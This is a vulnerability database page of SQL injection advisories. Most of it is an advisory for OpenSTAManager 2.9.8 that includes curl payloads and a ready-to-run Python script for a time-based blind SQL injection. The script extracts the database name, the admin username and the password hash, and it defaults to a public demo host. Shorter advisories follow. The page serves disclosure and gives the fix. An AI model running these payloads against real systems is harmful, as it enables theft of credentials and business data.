Common Weakness Enumeration

CWE-89

Allowed

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

27439 vulnerabilities reference this CWE, most recent first.

GHSA-P864-FQGV-92Q4

Vulnerability from github – Published: 2026-02-06 18:19 – Updated: 2026-02-06 21:42
VLAI
Summary
OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module
Details

Summary

Critical Time-Based Blind SQL Injection vulnerability in the article pricing module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer data, and financial records through time-based Boolean inference attacks.

Status: ✅ Confirmed and tested on live instance (v2.9.8) end demo.osmbusiness.it (v2.9.7) Vulnerable Parameter: idarticolo (GET) Affected Endpoint: /ajax_complete.php?op=getprezzi Affected Module: Articoli (Articles/Products)

Details

OpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the article pricing completion handler. The application fails to properly sanitize the idarticolo parameter before using it in SQL queries, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference.

Vulnerability Chain:

  1. Entry Point: /ajax_complete.php (Line 27) php $op = get('op'); $result = AJAX::complete($op); The op parameter is retrieved but the vulnerability lies in other parameters.

  2. Distribution: /src/AJAX.php::complete() (Line 189) php $result = self::getCompleteResults($file, $resource);

  3. Execution: /src/AJAX.php::getCompleteResults() (Line 402) php require $file; Module-specific complete.php files are included.

  4. Vulnerable Parameter: /modules/articoli/ajax/complete.php (Line 26) php $idarticolo = get('idarticolo'); The idarticolo parameter is retrieved from GET request.

  5. Vulnerable SQL Query: /modules/articoli/ajax/complete.php (Line 70) PRIMARY VULNERABILITY php FROM `dt_righe_ddt` INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt` INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt` WHERE `idarticolo`='.$idarticolo.' AND `dt_tipiddt`.`dir`="entrata" AND `idanagrafica`='.prepare($idanagrafica).' Impact: Direct concatenation of $idarticolo without prepare(), while $idanagrafica is properly sanitized.

Context - Full Query Structure (Lines 39-74):

The vulnerable query is part of a UNION query that fetches pricing history from invoices and delivery notes:

$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ PROPERLY SANITIZED (Line 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ VULNERABLE - NO prepare() (Line 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

Root Cause: Developer used prepare() correctly in the first SELECT (Line 54) but forgot to use it in the second SELECT of the UNION query (Line 70), creating an inconsistent security pattern.

PoC

Step 1: Login

curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Step 2: Verify Vulnerability (Time-Based SLEEP)

# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Result: real 0m10.32s (10.32 seconds)

# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Result: real 0m3.36s (3.36 seconds)

# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Result: real 0m0.31s (0.31 seconds)

image

Step 3: Data Extraction - Database Name

# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)

# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)

# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')

# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')

Step 4: Extract Sensitive Data - Admin Credentials

# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)

# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)

Payload Explanation:

Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true

SQL Query Result:
WHERE
    `idarticolo`=1
    AND SUBSTRING(DATABASE(),1,1)='o'
    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
    AND `dt_tipiddt`.`dir`="entrata"
    AND `idanagrafica`=1

Automated Extraction Script Example:

import requests
import time
import string
import sys

# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance

def login(session, base_url, user, pwd):
    """Authenticates to the application and maintains session."""
    login_url = f"{base_url}/index.php?op=login"
    data = {"username": user, "password": pwd}

    print(f"[*] Attempting login to: {login_url}...")
    try:
        response = session.post(login_url, data=data, timeout=10)
        # Check if login was successful (usually indicated by presence of logout link or redirect)
        if "logout" in response.text.lower() or response.status_code == 200:
            print("[+] Login successful!")
            return True
        else:
            print("[-] Login failed. Please check credentials.")
            return False
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

def extract_data(session, base_url, sql_query, label="Data"):
    """Extracts data character by character until the end of the string is reached."""
    print(f"\n[*] Extracting: {label}...")
    result = ""
    position = 1
    target_endpoint = f"{base_url}/ajax_complete.php"

    # Charset optimized for database names and bcrypt hashes ($, ., /)
    charset = string.ascii_letters + string.digits + "$./" + string.punctuation

    while True:
        found_char = False
        for char in charset:
            # Payload: If the condition is true, the server sleeps for SLEEP_TIME
            # Using ORD() and SUBSTRING() to handle various character types safely
            payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"

            params = {
                "op": "getprezzi",
                "idanagrafica": "1",
                "idarticolo": payload
            }

            try:
                start_time = time.time()
                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
                elapsed = time.time() - start_time

                if elapsed >= SLEEP_TIME:
                    result += char
                    found_char = True
                    sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
                    sys.stdout.flush()
                    break
            except requests.exceptions.RequestException:
                # Handle network jitter/timeouts by retrying or continuing
                continue

        # If no character from charset triggered a sleep, we've reached the end of the data
        if not found_char:
            print(f"\n[!] End of string or no data found at position {position}.")
            break

        position += 1

    return result

def main():
    s = requests.Session()

    # Allow target URL to be passed as a command line argument
    target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL

    if login(s, target, USERNAME, PASSWORD):
        # 1. Database name extraction
        db = extract_data(s, target, "SELECT DATABASE()", "Database Name")

        # 2. Admin username extraction
        user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")

        # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
        pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")

        print(f"\n\n{'='*35}")
        print(f"         FINAL REPORT")
        print(f"{'='*35}")
        print(f"Target URL: {target}")
        print(f"Database:   {db}")
        print(f"Username:   {user}")
        print(f"Hash:       {pwd_hash}")
        print(f"{'='*35}")

if __name__ == "__main__":
    main()

image

Impact

Affected Users: All authenticated users with access to the article pricing functionality (typically users managing quotes, invoices, orders).

Recommended Fix:

File: /modules/articoli/ajax/complete.php

BEFORE (Vulnerable - Line 70):

WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

AFTER (Fixed):

WHERE
    `idarticolo`='.prepare($idarticolo).' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

Credits

Discovered by Łukasz Rybak

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "devcode-it/openstamanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.9.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T18:19:51Z",
    "nvd_published_at": "2026-02-06T19:16:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCritical Time-Based Blind SQL Injection vulnerability in the article pricing module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer data, and financial records through time-based Boolean inference attacks.\n\n**Status:** \u2705 Confirmed and tested on live instance (v2.9.8) end [demo.osmbusiness.it](https://demo.osmbusiness.it/) (v2.9.7)\n**Vulnerable Parameter:** `idarticolo` (GET)\n**Affected Endpoint:** `/ajax_complete.php?op=getprezzi`\n**Affected Module:** Articoli (Articles/Products)\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the article pricing completion handler. The application fails to properly sanitize the `idarticolo` parameter before using it in SQL queries, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/ajax_complete.php` (Line 27)\n   ```php\n   $op = get(\u0027op\u0027);\n   $result = AJAX::complete($op);\n   ```\n   The `op` parameter is retrieved but the vulnerability lies in other parameters.\n\n2. **Distribution:** `/src/AJAX.php::complete()` (Line 189)\n   ```php\n   $result = self::getCompleteResults($file, $resource);\n   ```\n\n3. **Execution:** `/src/AJAX.php::getCompleteResults()` (Line 402)\n   ```php\n   require $file;\n   ```\n   Module-specific complete.php files are included.\n\n4. **Vulnerable Parameter:** `/modules/articoli/ajax/complete.php` (Line 26)\n   ```php\n   $idarticolo = get(\u0027idarticolo\u0027);\n   ```\n   The `idarticolo` parameter is retrieved from GET request.\n\n5. **Vulnerable SQL Query:** `/modules/articoli/ajax/complete.php` (Line 70) **PRIMARY VULNERABILITY**\n   ```php\n   FROM\n       `dt_righe_ddt`\n       INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`\n       INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`\n   WHERE\n       `idarticolo`=\u0027.$idarticolo.\u0027 AND\n       `dt_tipiddt`.`dir`=\"entrata\" AND\n       `idanagrafica`=\u0027.prepare($idanagrafica).\u0027\n   ```\n   **Impact:** Direct concatenation of `$idarticolo` without `prepare()`, while `$idanagrafica` is properly sanitized.\n\n**Context - Full Query Structure (Lines 39-74):**\n\nThe vulnerable query is part of a UNION query that fetches pricing history from invoices and delivery notes:\n\n```php\n$documenti = $dbo-\u003efetchArray(\u0027\n    SELECT\n        `iddocumento` AS id,\n        \"Fattura\" AS tipo,\n        \"Fatture di vendita\" AS modulo,\n        (`subtotale`-`sconto`)/`qta` AS costo_unitario,\n        ...\n    FROM\n        `co_righe_documenti`\n        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`\n        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`\n    WHERE\n        `idarticolo`=\u0027.prepare($idarticolo).\u0027 AND ...  # \u2713 PROPERLY SANITIZED (Line 54)\nUNION\n    SELECT\n        `idddt` AS id,\n        \"Ddt\" AS tipo,\n        ...\n    FROM\n        `dt_righe_ddt`\n        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`\n        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`\n    WHERE\n        `idarticolo`=\u0027.$idarticolo.\u0027 AND   # \u2717 VULNERABLE - NO prepare() (Line 70)\n        `dt_tipiddt`.`dir`=\"entrata\" AND\n        `idanagrafica`=\u0027.prepare($idanagrafica).\u0027\nORDER BY\n    `id` DESC LIMIT 0,5\u0027);\n```\n\n**Root Cause:** Developer used `prepare()` correctly in the first SELECT (Line 54) but forgot to use it in the second SELECT of the UNION query (Line 70), creating an inconsistent security pattern.\n\n### PoC\n\n**Step 1: Login**\n```bash\ncurl -c /tmp/cookies.txt -X POST \u0027http://localhost:8081/index.php?op=login\u0027 \\\n  -d \u0027username=admin\u0026password=admin\u0027\n```\n\n**Step 2: Verify Vulnerability (Time-Based SLEEP)**\n```bash\n# Test with SLEEP(10)\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)\" \\\n  \u003e /dev/null\n# Result: real 0m10.32s (10.32 seconds)\n\n# Test with SLEEP(3) - should take ~3 seconds\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)\" \\\n  \u003e /dev/null\n# Result: real 0m3.36s (3.36 seconds)\n\n# Test without SLEEP\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1\" \\\n  \u003e /dev/null\n# Result: real 0m0.31s (0.31 seconds)\n```\n\u003cimg width=\"1123\" height=\"536\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4f5c56d8-db60-44dd-a52c-35314be4b4ed\" /\u003e\n\n**Step 3: Data Extraction - Database Name**\n```bash\n# Extract first character of database name\n# Test if first char is \u0027o\u0027 (expected: TRUE for \u0027openstamanager\u0027)\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  \u003e /dev/null\n# Result: real 0m2.34s (SLEEP executed - condition TRUE)\n\n# Test if first char is \u0027x\u0027 (expected: FALSE)\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  \u003e /dev/null\n# Result: real 0m0.31s (SLEEP not executed - condition FALSE)\n\n# Extract second character (expected: \u0027p\u0027)\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  \u003e /dev/null\n# Result: real 0m2.34s (SLEEP executed - confirms second char is \u0027p\u0027)\n\n# Extract first 3 characters (expected: \u0027ope\u0027)\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  \u003e /dev/null\n# Result: real 0m2.33s (SLEEP executed - confirms \u0027ope...\u0027)\n```\n\n**Step 4: Extract Sensitive Data - Admin Credentials**\n```bash\n# Extract admin username (test if first 5 chars are \u0027admin\u0027)\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  \u003e /dev/null\n# Result: real 0m2.33s (SLEEP executed - confirms admin username)\n\n# Extract first character of password hash (expected: \u0027$\u0027 for bcrypt)\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  \u003e /dev/null\n# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)\n```\n\n**Payload Explanation:**\n```\nOriginal payload: 1 AND SUBSTRING(DATABASE(),1,1)=\u0027o\u0027 AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)\nURL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\n\nInjection breakdown:\n1. 1 - Valid article ID\n2. AND SUBSTRING(DATABASE(),1,1)=\u0027o\u0027 - Boolean condition to test\n3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true\n\nSQL Query Result:\nWHERE\n    `idarticolo`=1\n    AND SUBSTRING(DATABASE(),1,1)=\u0027o\u0027\n    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)\n    AND `dt_tipiddt`.`dir`=\"entrata\"\n    AND `idanagrafica`=1\n```\n\n**Automated Extraction Script Example:**\n```python\nimport requests\nimport time\nimport string\nimport sys\n\n# Default Configuration\nBASE_URL = \"https://demo.osmbusiness.it\"\nUSERNAME = \"demo\"\nPASSWORD = \"demodemo1\"\nSLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance\n\ndef login(session, base_url, user, pwd):\n    \"\"\"Authenticates to the application and maintains session.\"\"\"\n    login_url = f\"{base_url}/index.php?op=login\"\n    data = {\"username\": user, \"password\": pwd}\n    \n    print(f\"[*] Attempting login to: {login_url}...\")\n    try:\n        response = session.post(login_url, data=data, timeout=10)\n        # Check if login was successful (usually indicated by presence of logout link or redirect)\n        if \"logout\" in response.text.lower() or response.status_code == 200:\n            print(\"[+] Login successful!\")\n            return True\n        else:\n            print(\"[-] Login failed. Please check credentials.\")\n            return False\n    except Exception as e:\n        print(f\"[!] Connection error: {e}\")\n        return False\n\ndef extract_data(session, base_url, sql_query, label=\"Data\"):\n    \"\"\"Extracts data character by character until the end of the string is reached.\"\"\"\n    print(f\"\\n[*] Extracting: {label}...\")\n    result = \"\"\n    position = 1\n    target_endpoint = f\"{base_url}/ajax_complete.php\"\n    \n    # Charset optimized for database names and bcrypt hashes ($, ., /)\n    charset = string.ascii_letters + string.digits + \"$./\" + string.punctuation\n\n    while True:\n        found_char = False\n        for char in charset:\n            # Payload: If the condition is true, the server sleeps for SLEEP_TIME\n            # Using ORD() and SUBSTRING() to handle various character types safely\n            payload = f\"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)\"\n            \n            params = {\n                \"op\": \"getprezzi\",\n                \"idanagrafica\": \"1\",\n                \"idarticolo\": payload\n            }\n\n            try:\n                start_time = time.time()\n                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)\n                elapsed = time.time() - start_time\n\n                if elapsed \u003e= SLEEP_TIME:\n                    result += char\n                    found_char = True\n                    sys.stdout.write(f\"\\r[+] {label} [{position}]: {result}\")\n                    sys.stdout.flush()\n                    break\n            except requests.exceptions.RequestException:\n                # Handle network jitter/timeouts by retrying or continuing\n                continue\n\n        # If no character from charset triggered a sleep, we\u0027ve reached the end of the data\n        if not found_char:\n            print(f\"\\n[!] End of string or no data found at position {position}.\")\n            break\n            \n        position += 1\n        \n    return result\n\ndef main():\n    s = requests.Session()\n    \n    # Allow target URL to be passed as a command line argument\n    target = sys.argv[1] if len(sys.argv) \u003e 1 else BASE_URL\n    \n    if login(s, target, USERNAME, PASSWORD):\n        # 1. Database name extraction\n        db = extract_data(s, target, \"SELECT DATABASE()\", \"Database Name\")\n        \n        # 2. Admin username extraction\n        user = extract_data(s, target, \"SELECT username FROM zz_users WHERE id=1\", \"Admin Username (id=1)\")\n        \n        # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)\n        pwd_hash = extract_data(s, target, \"SELECT password FROM zz_users WHERE id=1\", \"Password Hash\")\n\n        print(f\"\\n\\n{\u0027=\u0027*35}\")\n        print(f\"         FINAL REPORT\")\n        print(f\"{\u0027=\u0027*35}\")\n        print(f\"Target URL: {target}\")\n        print(f\"Database:   {db}\")\n        print(f\"Username:   {user}\")\n        print(f\"Hash:       {pwd_hash}\")\n        print(f\"{\u0027=\u0027*35}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003cimg width=\"674\" height=\"476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/24173485-55a0-4224-9746-48786704bb73\" /\u003e\n\n### Impact\n\n\n**Affected Users:** All authenticated users with access to the article pricing functionality (typically users managing quotes, invoices, orders).\n\n**Recommended Fix:**\n\n**File:** `/modules/articoli/ajax/complete.php`\n\n**BEFORE (Vulnerable - Line 70):**\n```php\nWHERE\n    `idarticolo`=\u0027.$idarticolo.\u0027 AND\n    `dt_tipiddt`.`dir`=\"entrata\" AND\n    `idanagrafica`=\u0027.prepare($idanagrafica).\u0027\n```\n\n**AFTER (Fixed):**\n```php\nWHERE\n    `idarticolo`=\u0027.prepare($idarticolo).\u0027 AND\n    `dt_tipiddt`.`dir`=\"entrata\" AND\n    `idanagrafica`=\u0027.prepare($idanagrafica).\u0027\n```\n\n### Credits\nDiscovered by \u0141ukasz Rybak",
  "id": "GHSA-p864-fqgv-92q4",
  "modified": "2026-02-06T21:42:19Z",
  "published": "2026-02-06T18:19:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24416"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/devcode-it/openstamanager"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module"
}

GHSA-P86F-7G2V-F63J

Vulnerability from github – Published: 2026-04-05 21:30 – Updated: 2026-04-05 21:30
VLAI
Details

Ask Expert Script 3.0.5 contains cross-site scripting and SQL injection vulnerabilities that allow unauthenticated attackers to inject malicious code by manipulating URL parameters. Attackers can inject script tags through the cateid parameter in categorysearch.php or SQL code through the view parameter in list-details.php to execute arbitrary code or extract database information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-25676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-05T21:16:45Z",
    "severity": "HIGH"
  },
  "details": "Ask Expert Script 3.0.5 contains cross-site scripting and SQL injection vulnerabilities that allow unauthenticated attackers to inject malicious code by manipulating URL parameters. Attackers can inject script tags through the cateid parameter in categorysearch.php or SQL code through the view parameter in list-details.php to execute arbitrary code or extract database information.",
  "id": "GHSA-p86f-7g2v-f63j",
  "modified": "2026-04-05T21:30:20Z",
  "published": "2026-04-05T21:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25676"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46426"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ask-expert-script-cross-site-scripting-sql-injection"
    },
    {
      "type": "WEB",
      "url": "http://www.phpscriptsmall.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P86H-F2GW-RH33

Vulnerability from github – Published: 2022-05-17 00:38 – Updated: 2022-05-17 00:38
VLAI
Details

SQL injection vulnerability in directory.php in Scripts For Sites (SFS) EZ Pub Site allows remote attackers to execute arbitrary SQL commands via the cat parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-6794"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-05-07T17:30:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in directory.php in Scripts For Sites (SFS) EZ Pub Site allows remote attackers to execute arbitrary SQL commands via the cat parameter.",
  "id": "GHSA-p86h-f2gw-rh33",
  "modified": "2022-05-17T00:38:12Z",
  "published": "2022-05-17T00:38:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6794"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/50473"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6923"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/49483"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32524"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/35046"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-P86X-CWXM-X46M

Vulnerability from github – Published: 2022-05-01 23:33 – Updated: 2022-05-01 23:33
VLAI
Details

SQL injection vulnerability in the com_filebase component for Joomla! and Mambo allows remote attackers to execute arbitrary SQL commands via the filecatid parameter in a selectfolder action.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-0817"
  ],
  "database_specific": {
